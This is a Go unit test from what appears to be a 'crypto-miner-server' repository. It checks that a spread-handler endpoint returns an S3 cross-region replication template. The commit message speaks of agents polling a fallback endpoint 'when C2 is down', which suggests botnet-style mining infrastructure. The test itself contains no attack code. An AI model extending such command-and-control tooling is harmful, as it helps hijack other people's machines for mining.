Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
36 lines
854 B
Go
36 lines
854 B
Go
//go:build ignore
|
|
|
|
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"testing"
|
|
|
|
"crypto-miner-server/internal/erasure"
|
|
)
|
|
|
|
func TestGetS3CRRTemplate(t *testing.T) {
|
|
h := NewSpreadHandler(nil, t.TempDir(), t.TempDir(), nil)
|
|
h.BindS3CRRConfig(func() erasure.S3ShardConfig {
|
|
return erasure.S3ShardConfig{
|
|
ShardBucket: "primary", ShardRegion: "us-east-1",
|
|
CRRDestBucket: "replica", CRRDestRegion: "eu-west-1",
|
|
}
|
|
})
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/spread/aws-s3-crr-template", nil)
|
|
w := httptest.NewRecorder()
|
|
h.GetS3CRRTemplate(w, req)
|
|
if w.Code != http.StatusOK {
|
|
t.Fatalf("status=%d body=%s", w.Code, w.Body.String())
|
|
}
|
|
var body map[string]interface{}
|
|
if err := json.Unmarshal(w.Body.Bytes(), &body); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if body["rule"] == nil {
|
|
t.Fatalf("body=%v", body)
|
|
}
|
|
}
|